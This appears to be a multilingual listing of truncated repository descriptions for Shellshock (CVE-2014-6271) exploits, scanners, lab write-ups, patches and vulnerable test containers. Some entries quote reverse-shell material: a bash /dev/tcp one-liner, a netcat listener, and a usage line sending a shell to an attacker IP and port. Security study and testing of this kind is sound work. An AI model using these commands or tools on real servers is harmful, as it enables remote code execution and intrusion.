shellshock-poc-cve-2014-7169

CVE-2014-6271 - Shellshock PoC Resumen CVSS 10.0. Bash analiza incorrectamente comandos posteriores a una definición de función almacenada en una variable de entorno, ejecutándolos durante la inicialización del shell. Causa raíz Las variables de entorno de Bash pueden codificar definiciones de...

CVE-2014-6271

Este repositorio no tiene un README...

Shellshock_CVE-2014-6271

Shellshock CVE-2014-6271 Shellshock Descargue los archivos docker-compose.yml y poc.py. ¡Asegúrese de descargar la librería requests mediante pip install requests!!! Si usa uv, coloque la librería requests dentro de venv a través de uv!!! Descripción oficial de CVE --- En versiones anteriores a G...

CVE-2014-6271

Hellshocker 0.1.1 用于利用 Shellshock 漏洞的工具 厌倦了使用弱小的 shellshock 漏洞利用，或者只是用 "/bin/bash & /dev/tcp/IP/port 0&1" 这种方式进入服务器？ 是的，你需要上传并执行更复杂的东西到服务器，但 base64 编码一个巨大的文件几乎不可能，因为你的 HTTP 请求会被 Web 服务器拒绝。 有了这个工具，你的问题可能就解决了。它能够将你的有效载荷编码为 base64，并以（默认）128 字节的块发送到 Web 服务器，然后发送后，它会解码并执行。 "哇，"你说，"但是我不用 PHP，我需要 Java...

ShellShock-CGI-Scan

ShellShock-CGI-Scan Un script, en C, para comprobar si los scripts CGI son vulnerables a CVE-2014-6271 El Bug de Bash. Opciones: -i dirección IP local -p puerto de escucha -l lista de sitios -t tiempo de espera de conexión Por defecto: 15s Ejemplo: $ ./Scanner -i 127.0.0.1 -p 31337 -l sites.txt -...

shocknaww

shocknaww Script simple para comprobar CVE-2014-6271 Ejemplo de uso ./shocknaww.py http://foo.bar/cgi-bin/foo Entorno vulnerable de ejemplo Desde el directorio padre, ejecuta lo siguiente. python -m CGIHTTPServer Ahora usa shocknaww contra tu servidor de prueba localhost. ./shocknaww.py...

CVE-2014-6271

CVE-2014-6271 python2.7 Start listening on your machine. nc -l -p 4444 Run python script by the rule below: python shellpoc.py python shellpoc.py 10.10.10.101 /cgi-bin/status 10.10.10.1/4444 Enjoy...

shellshock-cgi

shellshock-cgi Un script de Python para enumerar scripts CGI vulnerables a CVE-2014-6271 en un servidor específico Uso $ python testing.py --server 172.16.255.130 --listen 172.16.255.1 Ejemplo de Retorno: + Testing if 172.16.255.130 is vulnerable to CVE-2014-6271 via CGI + Listening for incoming...

ShellShock-CGI-Scan

ShellShock-CGI-Scan Un script, en C, para comprobar si los scripts CGI son vulnerables a CVE-2014-6271 The Bash Bug. Opciones: -i dirección IP local -p puerto para escuchar -l lista de sitios -t tiempo de espera de conexión Predeterminado: 15s Ejemplo: $ ./Scanner -i 127.0.0.1 -p 31337 -l sites.t...

Shellshock-CVE-2014-6271-Exploitation-and-Analysis

🐚 Shellshock（CVE-2014-6271） – 利用与分 📌 概述 这是漏洞评估与渗透测试 – II 课程的实践作业，重点在于对 Shellshock 漏洞 （CVE-2014-6271 ）的利用与分析。 所有操作均在受控实验环境 中进行，使用 Metasploitable 2 （目标机）和 Kali Linux （攻击机）。 🛠 使用工具 💻 Kali Linux – 攻击机 🖥 Metasploitable 2 – 易受攻击的目标 🔍 Nmap – 扫描与服务检测 🎯 Metasploit Framework – 漏洞利用 🔍 漏洞概述 类型： 远程代码执行（RCE）...

cookbook-bash-CVE-2014-6271

bash-CVE-2014-6271 Cookbook Este cookbook de Chef contiene una receta predeterminada que hará fallar su ejecución de Chef si se encuentra un bash y ese bash es vulnerable al exploit remoto descrito en CVE-2014-6271. Los lugares para buscar bash se pueden configurar en el atributo...

CGIShell

CGIShell shellshock CVE-2014-6271 Exploit CGI Uso como OpenSSH vía página CGI Uso python cgishell.py 'http://www.google.com/cve-2014-6271/poc.cgi' Captura de pantalla Dependencias Windows necesita pyreadline No es necesario chardet Futuro Añadir TestCase Soporte de inicio de sesión HTTP Compresió...

exploit-CVE-2014-6271

Exploit de Shellshock + entorno vulnerable Shellshock, también conocido como Bashdoor, es una familia de errores de seguridad en el ampliamente utilizado shell Bash de Unix, el primero de los cuales fue divulgado el 24 de septiembre de 2014. Muchos servicios expuestos a Internet, como algunas...

Nessus_CVE-2014-6271_check

NessusCVE-2014-6271check Quick and dirty nessus .audit file to check is bash is vulnerable to CVE-2014-6271...

Shellshock_vuln_Exploit

🚨 Exploit RCE de Shellshock CVE-2014-6271 Este es un exploit en Python para la vulnerabilidad Shellshock CVE-2014-6271, que afecta a GNU Bash. El exploit apunta a scripts CGI en servidores web vulnerables y establece una shell reversa a la máquina del atacante. ID de CVE CVE-2014-6271 Aviso legal...

CVE-2014-6271-SHELLSHOCK

CVE-2014-6271-SHELLSHOCK 🐚 Script de explotación de Shellshock 🎯💻🔍 Este script de Python explota la vulnerabilidad Shellshock CVE-2014-6271 para ejecutar comandos de forma remota o establecer una shell inversa en un objetivo vulnerable. 🛠️⚠️ ⚠ Aviso legal 🚨❗ Este script está destinado únicamente a...

XSHOCK

⚡ xShock ShellShock ⚡ 由 TMRSWRR 编写 版本 1.0.0 xShock ShellShock CVE-2014-6271 此工具利用Shellshock漏洞。 Instagram: TMRSWRR 🖼️ 截图 🖼️ 📹 如何使用 📹 点击图片... 📒 自述 📒 所有找到的目录将保存在 vulnurl.txt 文件中。 执行命令的结果保存在 response.txt 中。 🧰 特性 🧰 此工具 包括： CGI 漏洞 目录扫描 在已发现的CGI上执行命令 显示漏洞URL 更新代理 📀 安装 📀 使用 requirements.txt 安装 git clone...

bash-cve-2014-6271-fixes

Parches de CVE-2014-6271 para bash La publicación original de la lista de correo solo permite descargar los parches a través de HTTP sin autenticación. Suspiro Descargué estos parches por HTTP y los puse en un repositorio git que puedes obtener por HTTPS y verificar de forma independiente. No he...

shellshocker-python

shellshocker-python Esta es una aplicación Python que te ayuda a detectar si tu máquina que ejecuta Bash es vulnerable al CVE-2014-6271...

shellshock-victim-host

shellshock-victim-host Un contenedor docker vulnerable a Shellshock - CVE-2014-6271 Ejecución podman build -t shellshock-victim . podman run -it -p 80:8080 shellshock-victim Nota: También se compila con docker. La aplicación vulnerable se desplegará en: http://localhost:8080/victim.cgi - Endpoint...